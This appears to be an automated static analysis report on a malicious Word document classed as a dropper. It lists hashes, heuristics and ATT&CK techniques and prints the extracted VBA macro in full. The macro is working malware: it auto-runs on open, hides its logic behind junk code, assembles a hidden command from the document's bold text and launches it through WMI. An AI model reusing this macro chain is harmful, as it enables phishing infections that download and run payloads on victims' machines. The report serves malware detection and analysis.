Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8c14a143d416134f…

MALICIOUS

Office (OOXML)

18.9 KB Created: 2020-05-08 02:26:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2020-09-07
MD5: 409c845bbede5f6e23eb30bcafbd47df SHA-1: 3149ab876e1448cc290d041d3eed009ba059cdc3 SHA-256: 8c14a143d416134fce553700d9ad5a9a2e6a5c881767a8b715c18e5e0348e6a0
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with a Document_Open auto-execution trigger. This macro utilizes WMI to launch a PowerShell process. The PowerShell command is obfuscated but appears to be designed to download and execute a second-stage payload from a remote location. The ClamAV detection 'Doc.Dropper.Agent-7774987-0' further supports its classification as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-7774987-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7774987-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3193 bytes
SHA-256: 93958cf3a880ae34e16df87c1a9fde861c8e86679733a94a4e95dca12fc8846e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Dim gmzpvji As String


Private Sub Document_Open()
Call nmngtyy
End Sub

Private Sub nmngtyy()

Dim s34 As Object



If Sin(2) * Sqr(2.5) = Log(24.2) + Cos(256.52) Then
Else

End If


gmzpvji = "KRYSiKbgs.exRXprNv"


Dim sqnuyck
LLLLL



End Sub


Public Sub LLLLL()




Application.Run "KRYSiKbgs.exRXprNv"


End Sub





Attribute VB_Name = "KRYSiKbgs"







Public Sub exRXprNv()

On Error Resume Next







Dim zxd As Variant
Dim zxtgsaqeyhzfgds3re As String



Dim oRng As Range
Dim oNewRng As Range
Set oRng = Selection.Range '(the formatted range you are wanting to write)
oRng.MoveEndWhile Chr(32), wdBackward 'Remove trailing spaces from the range
Set oNewRng = ActiveDocument.Range 'Locate the range where it is to be written
oNewRng.Collapse wdCollapseEnd
'oNewRng.FormattedText = oRng 'then write it.





 Dim Para As Paragraph
    Dim i As Long

    Application.ScreenUpdating = False
    With ActiveDocument
        For i = .Paragraphs.Count To 1 Step -1
            Set Para = .Paragraphs(i)
            With Para
                If .Range.End - .Range.Start = 1 Then
                    .Range.Delete
                Else
                    .SpaceBefore = 6
                    .SpaceAfter = 6
                End If
            End With
        Next i
    End With
    Application.ScreenUpdating = True




Dim singleLine As Paragraph
   Dim rng As Range
   Dim pos As Integer
    Dim Wrd As Range

   For Each singleLine In ActiveDocument.Paragraphs
      Set rng = singleLine.Range
   
   
    
    
         If rng.Font.Bold Then
            'MsgBox "This is bold"
               lineText = singleLine.Range.Text
          QmEmqrGH = QmEmqrGH + lineText
        
       ' MsgBox (QmEmqrGH)
         End If
     
   Next


If "SkXdxiTpmbRcykwXrYqHlXHKnjIClbtrUlYTGdna" = "bylXHmmZWdoErLvcMpOa" Then
For ahIWV = 7326 To 67255
hPHb = 37733
MgiMM = "AsgnbyESbgJs"
TLQVvUWpuvNI = "MrpzylE"
TqmZy = 19786
DDteXWRHDw = 4345
mrqB = 3980081
Next ahIWV

Else
End If

ZFF = Null


If Sin(4357) + Cos(46.98) - 57.845 = Sqr(3783) * 57.783 Then

MsgBox (CoNjMfBs)

Else

If "oS" = "KRJSo" Then
GDH = "CI"
aw = 5959
aWobLxk = 7995
ocHF = 11
WJlap = 5316095
cTUX = "vzlxb"
gXXNfSJt = 2
XQroLE = 509531
yrc = 686
vGNyL = 648
kSmF = "Nm"
End If

QmEmqrGH = Replace(QmEmqrGH, "cfyvezuv", "")
End If

strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objStartUp = objWMIService.Get("Win32_ProcessStartup")
    Set objProc = objWMIService.Get("Win32_Process")
    Set procStartConfig = objStartUp.SpawnInstance_
    procStartConfig.ShowWindow = 0 * 0
    objProc.Create QmEmqrGH, ZFF, procStartConfig, intProcessID
    



End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16384 bytes
SHA-256: 7caa72b4a46505eecb07a2a0bbb6b484f3adc4a287f19ee20ca5877eb84822f9

Open this report in the interactive analyzer, or submit your own file for analysis.